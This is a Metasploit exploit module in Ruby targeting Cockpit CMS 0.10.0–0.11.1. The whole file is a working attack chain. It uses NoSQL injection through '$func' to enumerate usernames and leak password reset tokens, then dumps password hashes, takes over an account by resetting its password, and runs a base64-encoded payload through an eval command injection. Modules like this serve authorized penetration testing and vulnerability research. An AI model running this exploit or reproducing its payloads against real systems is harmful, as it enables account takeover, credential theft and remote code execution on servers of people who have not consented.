## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'metasploit/framework/hashes/identify' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => 'Cockpit CMS NoSQLi to RCE', 'Description' => %q{ This module exploits two NoSQLi vulnerabilities to retrieve the user list, and password reset tokens from the system. Next, the USER is targetted to reset their password. Then a command injection vulnerability is used to execute the payload. While it is possible to upload a payload and execute it, the command injection provides a no disk write method which is more stealthy. Cockpit CMS 0.10.0 - 0.11.1, inclusive, contain all the necessary vulnerabilities for exploitation. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Nikita Petrov' # original PoC, analysis ], 'References' => [ [ 'URL', 'https://swarm.ptsecurity.com/rce-cockpit-cms/' ], [ 'CVE', '2020-35847' ], # reset token extraction [ 'CVE', '2020-35846' ], # user name extraction ], 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Privileged' => false, 'Targets' => [ [ 'Automatic Target', {}] ], 'DefaultOptions' => { 'PrependFork' => true }, 'DisclosureDate' => '2021-04-13', 'DefaultTarget' => 0, 'Notes' => { # ACCOUNT_LOCKOUTS due to reset of user password 'SideEffects' => [ ACCOUNT_LOCKOUTS, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SERVICE_DOWN ] } ) ) register_options( [ Opt::RPORT(80), OptString.new('TARGETURI', [ true, 'The URI of Cockpit', '/']), OptBool.new('ENUM_USERS', [false, 'Enumerate users', true]), OptString.new('USER', [false, 'User account to take over', '']) ], self.class ) end def get_users(check: false) print_status('Attempting Username Enumeration (CVE-2020-35846)') res = send_request_raw( 'uri' => '/auth/requestreset', 'method' => 'POST', 'ctype' => 'application/json', 'data' => JSON.generate({ 'user' => { '$func' => 'var_dump' } }) ) fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res # return bool of if not vulnerable # https://github.com/agentejo/cockpit/blob/0.11.2/lib/MongoLite/Database.php#L432 if check return (res.body.include?('Function should be callable') || # https://github.com/agentejo/cockpit/blob/0.12.0/lib/MongoLite/Database.php#L466 res.body.include?('Condition not valid') || res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten == []) end res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten end def get_reset_tokens print_status('Obtaining reset tokens (CVE-2020-35847)') res = send_request_raw( 'uri' => '/auth/resetpassword', 'method' => 'POST', 'ctype' => 'application/json', 'data' => JSON.generate({ 'token' => { '$func' => 'var_dump' } }) ) fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten end def get_user_info(token) print_status('Obtaining user info') res = send_request_raw( 'uri' => '/auth/newpassword', 'method' => 'POST', 'ctype' => 'application/json', 'data' => JSON.generate({ 'token' => token }) ) fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res /this.user\s+=([^;]+);/ =~ res.body userdata = JSON.parse(Regexp.last_match(1)) userdata.each do |k, v| print_status(" #{k}: #{v}") end report_cred( username: userdata['user'], password: userdata['password'], private_type: :nonreplayable_hash ) userdata end def reset_password(token, user) password = Rex::Text.rand_password print_good("Changing password to #{password}") res = send_request_raw( 'uri' => '/auth/resetpassword', 'method' => 'POST', 'ctype' => 'application/json', 'data' => JSON.generate({ 'token' => token, 'password' => password }) ) fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res # loop through found results body = JSON.parse(res.body) print_good('Password update successful') if body['success'] report_cred( username: user, password: password, private_type: :password ) password end def report_cred(opts) service_data = { address: datastore['RHOST'], port: datastore['RPORT'], service_name: 'http', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: fullname, username: opts[:username], private_data: opts[:password], private_type: opts[:private_type], jtr_format: identify_hash(opts[:password]) }.merge(service_data) login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::UNTRIED, proof: '' }.merge(service_data) create_credential_login(login_data) end def login(un, pass) print_status('Attempting login') res = send_request_cgi( 'uri' => '/auth/login' ) fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless /csfr\s+:\s+"([^"]+)"/ =~ res.body cookie = res.get_cookies res = send_request_raw( 'uri' => '/auth/check', 'method' => 'POST', 'ctype' => 'application/json', 'cookie' => cookie, 'data' => JSON.generate({ 'auth' => { 'user' => un, 'password' => pass }, 'csfr' => Regexp.last_match(1) }) ) fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res fail_with(Failure::UnexpectedReply, "#{peer} - Login failed. This is unexpected...") if res.body.include?('"success":false') print_good("Valid cookie for #{un}: #{cookie}") cookie end def gen_token(user) print_status('Attempting to generate tokens') res = send_request_raw( 'uri' => '/auth/requestreset', 'method' => 'POST', 'ctype' => 'application/json', 'data' => JSON.generate({ user: user }) ) fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res end def rce(cookie) print_status('Attempting RCE') p = Rex::Text.encode_base64(payload.encoded) send_request_raw( 'uri' => '/accounts/find', 'method' => 'POST', 'cookie' => cookie, 'ctype' => 'application/json', # this is more similar to how the original POC worked, however even with the & and prepend fork # it was locking the website (php/db_conn?) and throwing 504 or 408 errors from nginx until the session # was killed when using an arch => cmd type payload. # 'data' => "{\"options\":{\"filter\":{\"' + die(`echo '#{p}' | base64 -d | /bin/sh&`) + '\":0}}}" # with this method most pages still seem to load, logins work, but the password reset will not respond # however, everything else seems to work ok 'data' => "{\"options\":{\"filter\":{\"' + eval(base64_decode('#{p}')) + '\":0}}}" ) end def check begin return Exploit::CheckCode::Appears unless get_users(check: true) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end Exploit::CheckCode::Safe end def exploit if datastore['ENUM_USERS'] users = get_users print_good(" Found users: #{users}") end fail_with(Failure::BadConfig, "#{peer} - User to exploit required") if datastore['user'] == '' tokens = get_reset_tokens # post exploitation sometimes things get wonky, but doing a password recovery seems to fix it. if tokens == [] gen_token(datastore['USER']) tokens = get_reset_tokens end print_good(" Found tokens: #{tokens}") good_token = '' tokens.each do |token| print_status("Checking token: #{token}") userdata = get_user_info(token) if userdata['user'] == datastore['USER'] good_token = token break end end fail_with(Failure::UnexpectedReply, "#{peer} - Unable to get valid password reset token for user. Double check user") if good_token == '' password = reset_password(good_token, datastore['USER']) cookie = login(datastore['USER'], password) rce(cookie) end end